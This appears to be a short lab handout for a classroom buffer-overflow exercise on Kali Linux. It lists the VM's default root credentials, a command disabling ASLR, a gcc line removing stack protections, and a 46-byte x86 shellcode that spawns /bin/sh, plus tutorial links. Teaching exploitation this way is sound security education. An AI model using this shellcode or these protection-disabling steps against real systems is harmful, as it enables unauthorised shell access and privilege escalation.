1. download the Virtual Machine Disk file and copy it to a pen drive for tomorrow's lab.

Link: [https://old.kali.org/virtual-images/kali-2016.1/Kali-Linux-2016.1-vbox-i686.7z](https://notifications.googleapis.com/email/redirect?t=AFG8qyWdXsqXabIMSBurvdT6CjXL-ymyPUIN6abR4BQXl9YElG_55li1e0UCi-wvvwHCZwq7mxOfaNk8tfjozoqfZkBgvH478w2mqujjGdSVpO-yDDOYMwd1jm8-Clv6yi5QCnkQUNQHEYV5gvcIDkMCvAp0WqYLGQAFT3dgmdDMTTzUptDUjIW_IvwdAMaL8zOPaxaB2DmjCK5O5i1qts2_u3zUx429vBDuhKEf6HBW5VElFR9vuRMun8ogqHFhuSs_0vrGRzzlJihEHW_9V8xkTa49yaFwWlsEicfyLRNFfrjDAWi4oqLfwdzeM1VpgbZn-isLJja4z3UaybLeREbl6Ya5V2Lcb1kkoKo7RgmeYtFYPJDq-houfys1OU-VQFu0phMoP4Z7guf_WhziWRsd1-wc__qABaUhsnSt6aDoEgeA--1ZLfEQRZOGqlin6T-3rJbF6ugxu0KCN00FaO4JesQdvQJzDKGnwSEKXpCP_3FS7zwRp6zubUOH0LocAXjZdHj5hkgUyUIvew8OVlRSB_DguPq7JpPoDZBf8osH0jpd1PpP3yCOxsPM8YOmg-XHpj75mhzZnqrlhZPaPQFH8opbd4mNhCQkOKb1n48ugd0stfY1516YjfdFq266PFW9XKiEA-qVi2CJrONdW7bY_S1FIhK3LDfftO1L12mJoyvBsNobUyy0uS7z7o3gKKojbILVzVgKpuIFAz6EqTJydy88rVpGQdTvrTfaEgaDeFRs-eKief7DngTDgnLgXwo8PL-bqGrTnVn_S_Da6YnpW-EGsHMsjRNdwMiIC2Ef730kNz56nJA-vF0MMsjiECWPfxDKWIinIWKU4Fmv4mKU5WZUeKz2mNgGBgjxmbusTS1HpDL9dqU-LcaPljkAWEA9B0-qHUxFz1edc3I1g4AMSpCBuYZ9Y_dcHtshLZwe1QQh-C_-Dxi0IPkeMbHe6J-2moFPvmpL2KQ-AwP006a-pcQq146O&r=eJzLKCkpKLbS18_PSdHLTszJ1MsvStcvyywqKU3M0c3MTUxPLdYHiesaGRia6Rnqe4PYPpl5pRVQEd2ypPwK3UwzCzM98yoAL4sZlQ&s=ALHZ2r5Fu-5KsgE-Oqj36oJqcT6T)  
Import the vbox file and install Kali Linux

Username: root

Password: toor

1. Disable aslr: *echo 0 | sudo tee /proc/sys/kernel/randomize\_va\_space*
2. C code: [example.c](https://drive.google.com/file/d/0B8b0M2LATseXYWRiVHdkaGhwRjg/view?resourcekey=0-ZRMkh5rVq_hvXW6Nb-cb6A)
3. The compiling line is *gcc -o example -fno-stack-protector -m32 -z execstack example.c*
4. The 46 byte shellcode (x86\*) used in this program is - *"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"*

Tutorial:

<https://medium.com/@sigkilla9/linux-buffer-overflows-46833345382b>

[How to exploit a buffer overflow vulnerability - Practical](https://www.youtube.com/watch?v=hJ8IwyhqzD4)

[Running a Buffer Overflow Attack - Computerphile](https://www.youtube.com/watch?v=1S0aBV-Waeo)

<https://gist.github.com/apolloclark/6cffb33f179cc9162d0a>